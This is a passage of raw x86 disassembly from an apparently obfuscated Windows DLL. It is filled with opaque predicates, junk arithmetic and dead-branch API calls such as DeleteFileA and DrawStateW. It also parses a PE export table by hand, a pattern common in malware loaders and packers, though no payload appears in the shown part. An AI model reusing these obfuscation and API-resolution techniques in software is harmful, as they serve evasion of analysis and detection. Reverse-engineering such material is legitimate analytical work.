and dword [ebp - 0x854], 0
mov eax, dword [ebp - 0x854]
mov dword [ebp - 0x85c], eax
cmp dword [ebp - 0x85c], 0
jb 0x1003d50e
mov dword [ebp - 0x864], 1
jmp 0x1003d515
and dword [ebp - 0x864], 0
mov eax, dword [ebp - 0x24]
cmp dword [ebp - 0x864], eax
jge 0x1003d52c
mov dword [ebp - 0x86c], 1
jmp 0x1003d533
and dword [ebp - 0x86c], 0
push dword [ebp - 0xbc]
lea ecx, [ebp - 0xccc]
call fcn.1002129c
mov eax, dword [eax]
imul eax, dword [ebp - 0x86c]
test eax, eax
jne 0x1003d563
mov eax, 0x16104dbc
test eax, eax
jne 0x1003d563
and dword [ebp - 0x874], 0
jmp 0x1003d56d
mov dword [ebp - 0x874], 1
cmp dword [ebp - 0x874], 0
je 0x1003d58b
mov eax, 0x89b0
test eax, eax
je 0x1003d58b
mov dword [ebp - 0x87c], 1
jmp 0x1003d592
and dword [ebp - 0x87c], 0
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x1404], 0x5b16
mov eax, dword [ebp - 0x87c]
mov dword [ebp - 0x424], eax
imul eax, dword [ebp - 0x424], 0x5b16
cmp eax, 0x75df
jg 0x1003d5cc
mov dword [ebp - 0x884], 1
jmp 0x1003d5d3
and dword [ebp - 0x884], 0
imul eax, dword [ebp - 0x884], 0xfff7
xor ecx, ecx
sub ecx, eax
cmp ecx, dword [ebp - 0x24]
jl 0x1003d5f2
mov dword [ebp - 0x88c], 1
jmp 0x1003d5f9
and dword [ebp - 0x88c], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x1410]
cmp dword [ebp - 0x88c], eax
jle 0x1003d61a
mov dword [ebp - 0x894], 1
jmp 0x1003d621
and dword [ebp - 0x894], 0
push dword [ebp - 0xbc]
lea ecx, [ebp - 0xccc]
call fcn.1002129c
mov eax, dword [eax]
neg eax
mov ecx, dword [ebp - 0x894]
sub ecx, 0xe376
sub ecx, dword [ebp - 0x5bc]
imul eax, ecx
test eax, eax
jne 0x1003d656
cmp dword [ebp - 0x5bc], 0
cmp dword [ebp - 0x424], 0x4971
jg 0x1003d66e
mov dword [ebp - 0x89c], 1
jmp 0x1003d675
and dword [ebp - 0x89c], 0
mov eax, dword [ebp - 0x89c]
mov dword [ebp - 0x5bc], eax
jmp 0x1003d427
jmp 0x1003d384
push 1
lea ecx, [ebp - 0xccc]
call fcn.1002129c
mov eax, dword [eax]
mov dword [ebp - 0xbc], eax
mov eax, dword [ebp - 0xbc]
mov dword [ebp - 0x424], eax
mov byte [ebp - 4], 0x25
lea ecx, [ebp - 0x1610]
call fcn.10021280
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xccc]
call fcn.10021280
mov eax, dword [ebp - 0xc8]
mov ecx, dword [ebp - 0x190]
add ecx, dword [eax + 0x20]
mov eax, dword [ebp - 0x194]
lea eax, [ecx + eax*4]
mov dword [ebp - 0x8ac], eax
cmp dword [ebp - 0x8ac], 0
je 0x1003e95e
mov dword [ebp - 0x42c], 0x928c176b
mov dword [ebp - 0x42c], 9
jmp 0x1003d718
mov eax, dword [ebp - 0x42c]
dec eax
mov dword [ebp - 0x42c], eax
cmp dword [ebp - 0x42c], 0xffffffed
je 0x1003d8b3
push 1
lea ecx, [ebp - 0x1158]
call fcn.100211fe
mov dword [ebp - 4], 0x27
mov dword [ebp - 0x90], 0
jmp 0x1003d752
mov eax, dword [ebp - 0x90]
inc eax
mov dword [ebp - 0x90], eax
cmp dword [ebp - 0x90], 2
jge 0x1003d76e
mov eax, dword [ebp - 0x90]
mov dword [ebp + eax*4 - 0x1758], 0x9ac70c30
jmp 0x1003d745
mov dword [ebp - 0x90], 0
jmp 0x1003d787
mov eax, dword [ebp - 0x90]
inc eax
mov dword [ebp - 0x90], eax
cmp dword [ebp - 0x90], 1
jge 0x1003d7a9
push dword [ebp - 0x90]
lea ecx, [ebp - 0x1158]
call fcn.1002129c
mov dword [eax], 0x22b16580
jmp 0x1003d77a
push 0
lea ecx, [ebp - 0x1158]
call fcn.1002129c
and dword [eax], 0
jmp 0x1003d7df
push 0
lea ecx, [ebp - 0x1158]
call fcn.1002129c
mov dword [ebp - 0x8a4], eax
mov eax, dword [ebp - 0x8a4]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x8a4]
mov dword [ecx], eax
push 0
lea ecx, [ebp - 0x1158]
call fcn.1002129c
cmp dword [eax], 1
jg 0x1003d89f
mov dword [ebp - 0x434], 1
mov dword [ebp - 0x434], 0
jmp 0x1003d818
mov eax, dword [ebp - 0x434]
inc eax
mov dword [ebp - 0x434], eax
cmp dword [ebp - 0x434], 1
jg 0x1003d89a
mov dword [ebp - 0x43c], 3
mov byte [ebp - 0x15e], 0
movzx eax, byte [ebp - 0x15e]
test eax, eax
je 0x1003d857
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_DrawStateW]
mov dword [ebp - 0x43c], 0
jmp 0x1003d870
mov eax, dword [ebp - 0x43c]
inc eax
mov dword [ebp - 0x43c], eax
cmp dword [ebp - 0x43c], 1
jg 0x1003d895
mov byte [ebp - 0x16e], 0
movzx eax, byte [ebp - 0x16e]
test eax, eax
je 0x1003d893
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x1003d863
jmp 0x1003d80b
jmp 0x1003d7bb
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1158]
call fcn.10021280
jmp 0x1003d70b
mov eax, dword [ebp - 0x8ac]
mov ecx, dword [ebp - 0x190]
add ecx, dword [eax]
push ecx
lea ecx, [ebp - 0x1730]
call fcn.10041fd6
mov dword [ebp - 4], 0x28
mov dword [ebp - 0x8d4], 7
mov dword [ebp - 0x444], 0x68d526d2
mov dword [ebp - 0x128], 0
mov dword [ebp - 0x8bc], 1
mov dword [ebp - 0x130], 0x6dbc1c23
mov byte [ebp - 0x160], 0
movzx eax, byte [ebp - 0x160]
test eax, eax
je 0x1003d922
push 0
push 0
call dword [sym.imp.USER32.dll_CreateAcceleratorTableW]
mov eax, dword [ebp - 0x444]
mov dword [ebp - 0x1388], eax
mov eax, dword [ebp - 0x128]
mov dword [ebp - 0x15d4], eax
mov eax, dword [ebp - 0x128]
sub eax, dword [ebp - 0x128]
sub eax, dword [ebp - 0x128]
je 0x1003d963
cmp dword [ebp - 0x128], 0
je 0x1003d963
mov dword [ebp - 0x8b4], 1
jmp 0x1003d96a
and dword [ebp - 0x8b4], 0
mov eax, dword [ebp - 0x8b4]
mov dword [ebp - 0x128], eax
mov eax, dword [ebp - 0x128]
mov dword [ebp - 0x8bc], eax
mov eax, dword [ebp - 0x8bc]
inc eax
cmp eax, 0xcae2fe81
jne 0x1003d99c
mov dword [ebp - 0x8c4], 1
jmp 0x1003d9a3
and dword [ebp - 0x8c4], 0
mov eax, dword [ebp - 0x130]
add eax, dword [ebp - 0x8c4]
cmp eax, dword [ebp - 0x130]
jg 0x1003d9c3
mov dword [ebp - 0x8cc], 1
jmp 0x1003d9ca
and dword [ebp - 0x8cc], 0
mov eax, dword [ebp - 0x130]
cmp dword [ebp - 0x8cc], eax
jne 0x1003d9e4
mov dword [ebp - 0x10e4], 1
jmp 0x1003d9eb
and dword [ebp - 0x10e4], 0
mov eax, dword [ebp - 0x130]
mov dword [ebp - 0x1390], eax
mov eax, dword [ebp - 0x130]
mov dword [ebp - 0x14fc], eax
mov eax, dword [ebp - 0x444]
mov dword [ebp - 0x444], eax
mov eax, dword [ebp - 0x130]
cmp dword [ebp - 0x444], eax
je 0x1003da29
mov dword [ebp - 0xf94], 1
jmp 0x1003da30
and dword [ebp - 0xf94], 0
mov dword [ebp - 0x8d4], 9
mov eax, dword [ebp - 0x8d4]
mov dword [ebp - 0x1398], eax
mov dword [ebp - 0x130], 0x9973063d
mov edx, dword [ebp + 8]
lea ecx, [ebp - 0x1730]
call fcn.10024b93
mov dword [ebp - 0x9b4], eax
mov dword [ebp - 0x44c], 0xdb3ae355
mov dword [ebp - 0x1178], 0x111738ab
mov dword [ebp - 0x44c], 0
jmp 0x1003da91
mov eax, dword [ebp - 0x44c]
dec eax
mov dword [ebp - 0x44c], eax
cmp dword [ebp - 0x44c], 0xffffffe2
jl 0x1003dac2
mov byte [ebp - 0x16a], 0
movzx eax, byte [ebp - 0x16a]
test eax, eax
je 0x1003dab6
push 0
push 0
call dword [sym.imp.GDI32.dll_GetClipBox]
mov dword [ebp - 0x1178], 0x3eb905d0
jmp 0x1003da84
movzx eax, byte [0x1008a00d]
test eax, eax
je 0x1003dae2
mov ecx, 0x1008a01c
call fcn.10042062
movzx eax, al
test eax, eax
jne 0x1003e04b
lea eax, [ebp - 0x9b4]
push eax
mov ecx, 0x1008a01c
call fcn.10042071
mov ecx, dword [ebp - 0x194]
mov dword [eax], ecx
mov dword [ebp - 0x8dc], 0x6021
mov dword [ebp - 0x10ec], 0x1000b1e4
cmp dword [ebp - 0x8dc], 0x6128
jle 0x1003dc27
and dword [ebp - 0x464], 0
jmp 0x1003db35
mov eax, dword [ebp - 0x464]
inc eax
mov dword [ebp - 0x464], eax
cmp dword [ebp - 0x464], 0x3898
jge 0x1003dc27
and dword [ebp - 0x454], 0
jmp 0x1003db5b
cmp dword [ebp - 0x454], 0x4862
jge 0x1003dc22
and dword [ebp - 0x45c], 0
jmp 0x1003db81
cmp dword [ebp - 0x45c], 0xc5e
jge 0x1003dc1d
and dword [ebp - 0x46c], 0
jmp 0x1003dba7
jmp 0x1003db4e
jmp 0x1003db28
mov dword [ebp - 0x4b4], 0xfffffff8
cmp dword [ebp - 0x8dc], 0x5cf3
jge 0x1003dc49
push dword [ebp - 0x10ec]
call fcn.10069ba3
pop ecx
mov dword [ebp - 0x474], 0
jmp 0x1003dc62
mov eax, dword [ebp - 0x474]
inc eax
mov dword [ebp - 0x474], eax
cmp dword [ebp - 0x474], 3
jge 0x1003dc7e
mov eax, dword [ebp - 0x474]
mov dword [ebp + eax*4 - 0x18c8], 1
jmp 0x1003dc55
mov dword [ebp - 0x8ec], 0x437a
mov dword [ebp - 0xfb8], 0x1000b200
cmp dword [ebp - 0x8ec], 0x4747
jle 0x1003dd91
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_PeekMessageW]
and dword [ebp - 0x47c], 0
jmp 0x1003dcc8
cmp dword [ebp - 0x47c], 0x7d0
jge 0x1003dd91
and dword [ebp - 0x484], 0
jmp 0x1003dcee
mov dword [ebp - 0x8e4], 0x74eb
mov dword [ebp - 0x115c], 0x1000b24c
cmp dword [ebp - 0x8e4], 0x776d
jle 0x1003de8c
and dword [ebp - 0x4ac], 0
jmp 0x1003ddcb
cmp dword [ebp - 0x4ac], 0x6f77
jge 0x1003de8c
mov byte [ebp - 0x162], 0
cmp dword [ebp - 0x8e4], 0x74e1
jge 0x1003deab
push dword [ebp - 0x115c]
call fcn.10069ba3
pop ecx
movzx eax, byte [ebp - 0x162]
test eax, eax
je 0x1003dec4
mov dword [ebp - 0x3c], 0xffffffff
mov dword [ebp - 0x904], 0x2189f42
mov dword [ebp - 0x924], 0x912e7550
mov dword [ebp - 0xd4c], 0xfffffff9
mov dword [ebp - 0x1688], 0
mov dword [ebp - 0x13a0], 0xca925f32
mov dword [ebp - 0x5c4], 0xe836ea0e
mov dword [ebp - 0x94c], 0xffffffff
mov dword [ebp - 0xd58], 0x7cd2
mov dword [ebp - 0x9ac], 0
mov dword [ebp - 0x4d4], 0
jmp 0x1003e0c5
mov eax, dword [ebp - 0x4d4]
inc eax
mov dword [ebp - 0x4d4], eax
cmp dword [ebp - 0x4d4], 1
jge 0x1003e0e1
mov eax, dword [ebp - 0x4d4]
mov dword [ebp + eax*4 - 0x1d0], 0
jmp 0x1003e0b8
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x904], eax
mov eax, dword [ebp - 0x3c]
cmp dword [ebp - 0x904], eax
jl 0x1003e101
mov dword [ebp - 0x90c], 1
jmp 0x1003e108
and dword [ebp - 0x90c], 0
mov eax, dword [ebp - 0x3c]
cmp dword [ebp - 0x90c], eax
jl 0x1003e11f
mov dword [ebp - 0x1180], 1
jmp 0x1003e126
and dword [ebp - 0x1180], 0
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x1504], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1d0]
mov dword [ebp - 0x13a8], eax
mov eax, dword [ebp - 0x3c]
sub eax, dword [ebp - 0x3c]
cmp eax, dword [ebp - 0x3c]
jl 0x1003e159
mov dword [ebp - 0x914], 1
jmp 0x1003e160
and dword [ebp - 0x914], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1d0]
add eax, dword [ebp - 0x914]
je 0x1003e188
push 0xfffffffffffffff8
pop eax
test eax, eax
je 0x1003e188
and dword [ebp - 0x91c], 0
mov eax, dword [ebp - 0x91c]
mov dword [ebp - 0x924], eax
cmp dword [ebp - 0x924], 0x11c15747
je 0x1003e1b3
jmp 0x1003d19b
mov dword [ebp - 0x17c], 0xe0648261
mov dword [ebp - 0x50c], 0xa11600d5
mov dword [ebp - 0xa8], 0
jmp 0x1003e990
mov eax, dword [ebp - 0xa8]
inc eax
mov dword [ebp - 0xa8], eax
cmp dword [ebp - 0xa8], 2
jge 0x1003e9ac
mov eax, dword [ebp - 0xa8]
mov dword [ebp + eax*4 - 0x1368], 0x4c59
jmp 0x1003e983
mov dword [ebp - 0xa8], 0
jmp 0x1003e9c5
mov eax, dword [ebp - 0xa8]
inc eax
mov dword [ebp - 0xa8], eax
cmp dword [ebp - 0xa8], 2
jge 0x1003e9e1
mov eax, dword [ebp - 0xa8]
mov dword [ebp + eax*4 - 0x1370], 0x7ccc8959
jmp 0x1003e9b8
mov dword [ebp - 0x17c], 0xf
jmp 0x1003e9fa
mov eax, dword [ebp - 0x17c]
dec eax
mov dword [ebp - 0x17c], eax
cmp dword [ebp - 0x17c], 0xffffffee
jge 0x1003eabe
mov dword [ebp - 0xd88], 5
mov dword [ebp - 0xa04], 0xd2466e9f
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1368]
mov dword [ebp - 0x13b0], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x1370]
mov dword [ebp - 0x150c], eax
mov eax, 0xdb8e9646
cmp eax, 0xd9637855
jae 0x1003ea59
mov dword [ebp - 0x9fc], 1
jmp 0x1003ea60
and dword [ebp - 0x9fc], 0
mov eax, dword [ebp - 0x17c]
cmp dword [ebp - 0x9fc], eax
jge 0x1003ea7a
mov dword [ebp - 0xd80], 1
jmp 0x1003ea81
and dword [ebp - 0xd80], 0
mov eax, dword [ebp - 0x17c]
mov dword [ebp - 0x13b8], eax
mov eax, dword [ebp - 0xd88]
mov dword [ebp - 0x1668], eax
mov dword [ebp - 0xa04], 0x7289fff1
mov eax, dword [ebp - 0xa04]
mov dword [ebp - 0x50c], eax
mov dword [ebp - 0x50c], 1
jmp 0x1003e9ed
mov eax, dword [ebp - 0x50c]
mov dword [ebp - 0x50c], eax
cmp dword [ebp + 0x10], 0
jne 0x1003f05f
cmp dword [ebp - 0x188], 0xffffffff
je 0x1003f05f
mov dword [ebp - 0x30], 0x3d06ce12
mov dword [ebp - 0x140], 0x1d69f428
mov dword [ebp - 0x180], 0xdb856137
mov dword [ebp - 0x5d4], 0xfffffff8
mov dword [ebp - 0xaa4], 0x2f22
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x140], eax
mov dword [ebp - 0x140], 0xffffffff
mov eax, dword [ebp - 0x180]
add eax, 0x8a06
mov ecx, dword [ebp - 0x180]
add ecx, dword [ebp - 0x140]
cmp ecx, eax
je 0x1003eb4a
mov dword [ebp - 0xa0c], 1
jmp 0x1003eb51
and dword [ebp - 0xa0c], 0
cmp dword [ebp - 0xa0c], 1
jl 0x1003eb66
mov dword [ebp - 0xd90], 1
jmp 0x1003eb6d
and dword [ebp - 0xd90], 0
mov eax, dword [ebp - 0x180]
mov dword [ebp - 0x13c0], eax
cmp dword [ebp - 0x30], 0
je 0x1003ee67
mov dword [ebp - 0x514], 0xffffffff
mov dword [ebp - 0xa34], 6
mov dword [ebp - 0x1514], 0
mov dword [ebp - 0x13c8], 0xffffffff
imul eax, dword [ebp - 0x30], 0xf393
test eax, eax
jne 0x1003ebe9
xor eax, eax
inc eax
je 0x1003ebd0
cmp dword [ebp - 0xa34], 0
je 0x1003ebd0
mov dword [ebp - 0xa14], 1
jmp 0x1003ebd7
and dword [ebp - 0xa14], 0
cmp dword [ebp - 0xa14], 1
jae 0x1003ebe9
and dword [ebp - 0xa1c], 0
jmp 0x1003ebf3
mov dword [ebp - 0xa1c], 1
mov eax, dword [ebp - 0x180]
cmp eax, dword [ebp - 0xa1c]
je 0x1003ec0d
mov dword [ebp - 0xa24], 1
jmp 0x1003ec14
and dword [ebp - 0xa24], 0
mov eax, dword [ebp - 0x514]
cmp eax, dword [ebp - 0xa24]
jge 0x1003ec2e
mov dword [ebp - 0xa2c], 1
jmp 0x1003ec35
and dword [ebp - 0xa2c], 0
mov eax, dword [ebp - 0xa2c]
mov dword [ebp - 0x140], eax
mov eax, dword [ebp - 0x140]
mov dword [ebp - 0x15f4], eax
mov eax, dword [ebp - 0xa34]
mov dword [ebp - 0x13d0], eax
cmp dword [ebp - 0x180], 0
jne 0x1003ec74
cmp dword [ebp - 0x514], 0
jne 0x1003ec74
and dword [ebp - 0xa3c], 0
jmp 0x1003ec7e
mov dword [ebp - 0xa3c], 1
cmp dword [ebp - 0xa3c], 0x7d43
jle 0x1003ec96
mov dword [ebp - 0xa44], 1
jmp 0x1003ec9d
and dword [ebp - 0xa44], 0
mov eax, dword [ebp - 0x514]
add eax, dword [ebp - 0xa44]
imul eax, dword [ebp - 0x30]
test eax, eax
je 0x1003ecb8
cmp dword [ebp - 0x514], 0
cmp dword [ebp - 0x180], 0xe055a24b
jb 0x1003ed78
push 2
lea ecx, [ebp - 0x1640]
call fcn.100211fe
mov dword [ebp - 4], 0x2e
mov dword [ebp - 0x51c], 0
jmp 0x1003ecf5
mov eax, dword [ebp - 0x51c]
inc eax
mov dword [ebp - 0x51c], eax
cmp dword [ebp - 0x51c], 2
jge 0x1003ed14
push dword [ebp - 0x51c]
lea ecx, [ebp - 0x1640]
call fcn.1002129c
or dword [eax], 0xffffffff
jmp 0x1003ece8
mov dword [ebp - 0x30], 1
jmp 0x1003ed24
mov eax, dword [ebp - 0x30]
dec eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0
jl 0x1003ed64
mov byte [ebp - 0xef], 0
movzx eax, byte [ebp - 0xef]
test eax, eax
je 0x1003ed48
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_GetRegionData]
mov byte [ebp - 0xf1], 0
movzx eax, byte [ebp - 0xf1]
test eax, eax
je 0x1003ed62
push 0
call dword [sym.imp.KERNEL32.dll_GetTimeZoneInformation]
jmp 0x1003ed1d
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1640]
call fcn.10021280
jmp 0x1003ee62
mov dword [ebp - 0xd98], 1
mov dword [ebp - 0x151c], 0xffffffff
mov dword [ebp - 0xda0], 0xa5481f04
mov dword [ebp - 0x13d8], 1
mov dword [ebp - 0x16a8], 0x13a861d8
cmp dword [ebp - 0x30], 1
jg 0x1003edbc
mov dword [ebp - 0xa4c], 1
jmp 0x1003edc3
and dword [ebp - 0xa4c], 0
mov eax, dword [ebp - 0xa4c]
sub eax, 0x65331cfc
je 0x1003ede5
cmp dword [ebp - 0x140], 0
je 0x1003ede5
mov dword [ebp - 0xa54], 1
jmp 0x1003edec
and dword [ebp - 0xa54], 0
mov eax, dword [ebp - 0x30]
cmp dword [ebp - 0xa54], eax
jne 0x1003ee03
mov dword [ebp - 0xa5c], 1
jmp 0x1003ee0a
and dword [ebp - 0xa5c], 0
cmp dword [ebp - 0xa5c], 0x3f3b
jle 0x1003ee28
cmp dword [ebp - 0xd98], 0
jne 0x1003ee28
and dword [ebp - 0xa64], 0
jmp 0x1003ee32
mov dword [ebp - 0xa64], 1
mov eax, dword [ebp - 0xa64]
neg eax
sub eax, dword [ebp - 0xda0]
mov dword [ebp - 0x5d4], eax
mov byte [ebp - 0x172], 0
movzx eax, byte [ebp - 0x172]
test eax, eax
je 0x1003ee62
push 0
push 0
call dword [sym.imp.USER32.dll_LoadIconA]
jmp 0x1003f03f
mov dword [ebp - 0x52c], 0x4c1b2f08
mov dword [ebp - 0x5cc], 0xfffffff6
push 1
lea ecx, [ebp - 0x1338]
call fcn.100211fe
mov dword [ebp - 4], 0x2f
mov dword [ebp - 0x524], 0
jmp 0x1003eea8
mov eax, dword [ebp - 0x524]
inc eax
mov dword [ebp - 0x524], eax
cmp dword [ebp - 0x524], 1
jge 0x1003eeca
push dword [ebp - 0x524]
lea ecx, [ebp - 0x1338]
call fcn.1002129c
mov dword [eax], 1
jmp 0x1003ee9b
cmp dword [ebp - 0x30], 0x473f
jl 0x1003eee8
cmp dword [ebp - 0x52c], 0
je 0x1003eee8
mov dword [ebp - 0xa6c], 1
jmp 0x1003eeef
and dword [ebp - 0xa6c], 0
cmp dword [ebp - 0xa6c], 5
jae 0x1003ef04
mov dword [ebp - 0xa74], 1
jmp 0x1003ef0b
and dword [ebp - 0xa74], 0
mov eax, dword [ebp - 0x5d4]
add eax, dword [ebp - 0xa74]
cmp eax, 8
jae 0x1003ef29
xor eax, eax
jne 0x1003ef29
and dword [ebp - 0xa7c], 0
jmp 0x1003ef33
mov dword [ebp - 0xa7c], 1
mov eax, dword [ebp - 0x30]
cmp dword [ebp - 0xa7c], eax
jle 0x1003ef50
mov eax, 0x12663943
test eax, eax
jne 0x1003ef50
and dword [ebp - 0xa84], 0
jmp 0x1003ef5a
mov dword [ebp - 0xa84], 1
mov eax, dword [ebp - 0x140]
cmp eax, dword [ebp - 0xa84]
jl 0x1003ef74
mov dword [ebp - 0xa8c], 1
jmp 0x1003ef7b
and dword [ebp - 0xa8c], 0
mov eax, dword [ebp - 0x30]
cmp dword [ebp - 0xa8c], eax
je 0x1003ef92
mov dword [ebp - 0xa94], 1
jmp 0x1003ef99
and dword [ebp - 0xa94], 0
mov eax, dword [ebp - 0xa94]
mov dword [ebp - 0x5cc], eax
mov eax, dword [ebp - 0x5cc]
mov dword [ebp - 0x13e4], eax
cmp dword [ebp - 0x52c], 0xfe160045
jae 0x1003efc9
mov dword [ebp - 0xa9c], 1
jmp 0x1003efd0
and dword [ebp - 0xa9c], 0
mov eax, dword [ebp - 0xa9c]
mov dword [ebp - 0xaa4], eax
mov eax, dword [ebp - 0xaa4]
mov dword [ebp - 0xaac], eax
push 0
lea ecx, [ebp - 0x1338]
call fcn.1002129c
mov ecx, dword [ebp - 0xaac]
mov dword [eax], ecx
mov eax, dword [ebp - 0x52c]
add eax, dword [ebp - 0xaac]
cmp dword [ebp - 0x52c], eax
jge 0x1003f01d
mov dword [ebp - 0xda8], 1
jmp 0x1003f024
and dword [ebp - 0xda8], 0
mov eax, dword [ebp - 0x5cc]
mov dword [ebp - 0x5d4], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1338]
call fcn.10021280
mov eax, dword [ebp - 0xc8]
mov ecx, dword [ebp - 0x190]
add ecx, dword [eax + 0x24]
mov eax, dword [ebp - 0x188]
mov ax, word [ecx + eax*2]
mov word [ebp - 0x98], ax
mov dword [ebp - 0x534], 0x9841b3c6
mov dword [ebp - 0x1524], 2
mov dword [ebp - 0x13f0], 0x843046b6
mov dword [ebp - 0xab4], 0xfffffffc
mov dword [ebp - 0x534], 0
jmp 0x1003f0a0
mov eax, dword [ebp - 0x534]
inc eax
mov dword [ebp - 0x534], eax
cmp dword [ebp - 0x534], 4
jg 0x1003f0c0
mov dword [ebp - 0xdb0], 0x149febb6
cmp dword [ebp - 0xdb0], 0
je 0x1003f0be
jmp 0x1003f0c0
jmp 0x1003f093
mov eax, dword [ebp - 0xab4]
dec eax
mov dword [ebp - 0xab4], eax
movzx eax, word [ebp - 0x98]
cmp eax, 0xffff
je 0x1004027b
mov dword [ebp - 0x53c], 1
mov dword [ebp - 0xb04], 0x8d3c891c
push 1
lea ecx, [ebp - 0xd10]
call fcn.100211fe
mov dword [ebp - 4], 0x30
mov dword [ebp - 0xb14], 0xfffffff9
mov dword [ebp - 0x5e4], 0x66d2
mov dword [ebp - 0x5dc], 0xfa1e1c5a
push 3
lea ecx, [ebp - 0x11bc]
call fcn.100211fe
mov byte [ebp - 4], 0x31
mov dword [ebp - 0x1d8], 0x74fa72d5
mov dword [ebp - 0xdc0], 2
mov dword [ebp - 0xb0], 0
jmp 0x1003f163
mov eax, dword [ebp - 0xb0]
inc eax
mov dword [ebp - 0xb0], eax
cmp dword [ebp - 0xb0], 1
jge 0x1003f185
push dword [ebp - 0xb0]
lea ecx, [ebp - 0xd10]
call fcn.1002129c
mov dword [eax], 0xfffffffe
jmp 0x1003f156
mov dword [ebp - 0xb0], 0
jmp 0x1003f19e
mov eax, dword [ebp - 0xb0]
inc eax
mov dword [ebp - 0xb0], eax
cmp dword [ebp - 0xb0], 3
jge 0x1003f1c0
push dword [ebp - 0xb0]
lea ecx, [ebp - 0x11bc]
call fcn.1002129c
mov dword [eax], 0x51dd
jmp 0x1003f191
mov esi, dword [ebp - 0x1d8]
push 0
lea ecx, [ebp - 0xd10]
call fcn.1002129c
cmp esi, dword [eax]
je 0x1003f1f5
push 0
lea ecx, [ebp - 0xd10]
call fcn.1002129c
cmp dword [eax], 0
je 0x1003f1f5
mov dword [ebp - 0xabc], 1
jmp 0x1003f1fc
and dword [ebp - 0xabc], 0
push 1
lea ecx, [ebp - 0x11bc]
call fcn.1002129c
mov dword [eax], 0xa413
cmp dword [ebp - 0xabc], 0xa413
je 0x1003f227
mov dword [ebp - 0xac4], 1
jmp 0x1003f22e
and dword [ebp - 0xac4], 0
mov eax, dword [ebp - 0x1d8]
cmp dword [ebp - 0xac4], eax
jg 0x1003f248
mov dword [ebp - 0xacc], 1
jmp 0x1003f24f
and dword [ebp - 0xacc], 0
mov eax, dword [ebp - 0xacc]
neg eax
mov dword [ebp - 0xad4], eax
push 0
lea ecx, [ebp - 0xd10]
call fcn.1002129c
mov ecx, dword [ebp - 0xad4]
mov dword [eax], ecx
mov eax, dword [ebp - 0x53c]
cmp dword [ebp - 0xad4], eax
jle 0x1003f28c
mov dword [ebp - 0xadc], 1
jmp 0x1003f293
and dword [ebp - 0xadc], 0
mov eax, dword [ebp - 0x53c]
imul eax, dword [ebp - 0xadc]
imul eax, dword [ebp - 0x1d8]
imul eax, eax, 0
imul eax, dword [ebp - 0x1d8]
cmp eax, dword [ebp - 0x53c]
jne 0x1003f2c5
mov dword [ebp - 0xdb8], 1
jmp 0x1003f2cc
and dword [ebp - 0xdb8], 0
mov eax, dword [ebp - 0x1d8]
mov dword [ebp - 0x1604], eax
cmp dword [ebp - 0x5e4], 0xfffffffc
jne 0x1003f2f6
mov eax, 0xb31
test eax, eax
je 0x1003f2f6
mov dword [ebp - 0xae4], 1
jmp 0x1003f2fd
and dword [ebp - 0xae4], 0
mov eax, dword [ebp - 0x5dc]
inc eax
mov dword [ebp - 0x5dc], eax
mov eax, dword [ebp - 0x5dc]
cmp eax, dword [ebp - 0xae4]
jle 0x1003f324
mov dword [ebp - 0xaec], 1
jmp 0x1003f32b
and dword [ebp - 0xaec], 0
cmp dword [ebp - 0xaec], 0xd12f
jne 0x1003f343
mov dword [ebp - 0xaf4], 1
jmp 0x1003f34a
and dword [ebp - 0xaf4], 0
cmp dword [ebp - 0xaf4], 0x57f54ab1
jle 0x1003f362
mov dword [ebp - 0xafc], 1
jmp 0x1003f369
and dword [ebp - 0xafc], 0
mov eax, dword [ebp - 0x5e4]
add eax, dword [ebp - 0xafc]
jne 0x1003f392
push 0
lea ecx, [ebp - 0xd10]
call fcn.1002129c
cmp dword [eax], 0
jne 0x1003f392
and dword [ebp - 0xb0c], 0
jmp 0x1003f39c
mov dword [ebp - 0xb0c], 1
mov eax, dword [ebp - 0x53c]
mov dword [ebp - 0xb04], eax
mov eax, dword [ebp - 0xb04]
mov dword [ebp - 0x13fc], eax
mov eax, dword [ebp - 0xb0c]
mov dword [ebp - 0xb14], eax
mov eax, dword [ebp - 0xb14]
mov dword [ebp - 0x152c], eax
mov eax, dword [ebp - 0x5e4]
mov dword [ebp - 0x1408], eax
push 1
lea ecx, [ebp - 0x11bc]
call fcn.1002129c
cmp dword [eax], 0
jne 0x1003f3f8
xor eax, eax
inc eax
jne 0x1003f3f8
and dword [ebp - 0xb1c], 0
jmp 0x1003f402
mov dword [ebp - 0xb1c], 1
mov eax, dword [ebp - 0xb1c]
neg eax
mov dword [ebp - 0xdc0], eax
mov byte [ebp - 4], 0x30
lea ecx, [ebp - 0x11bc]
call fcn.10021280
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xd10]
call fcn.10021280
mov eax, dword [ebp - 0xc8]
mov ecx, dword [ebp - 0x190]
add ecx, dword [eax + 0x1c]
movzx eax, word [ebp - 0x98]
lea eax, [ecx + eax*4]
mov dword [ebp - 0xdc8], eax
mov dword [ebp - 0x148], 0
push 1
lea ecx, [ebp - 0x12d8]
call fcn.100211fe
mov dword [ebp - 4], 0x32
mov dword [ebp - 0x6c], 0
jmp 0x1003f47b
mov eax, dword [ebp - 0x6c]
inc eax
mov dword [ebp - 0x6c], eax
cmp dword [ebp - 0x6c], 2
jge 0x1003f491
mov eax, dword [ebp - 0x6c]
mov dword [ebp + eax*4 - 0x120c], 1
jmp 0x1003f474
mov dword [ebp - 0x6c], 0
jmp 0x1003f4a1
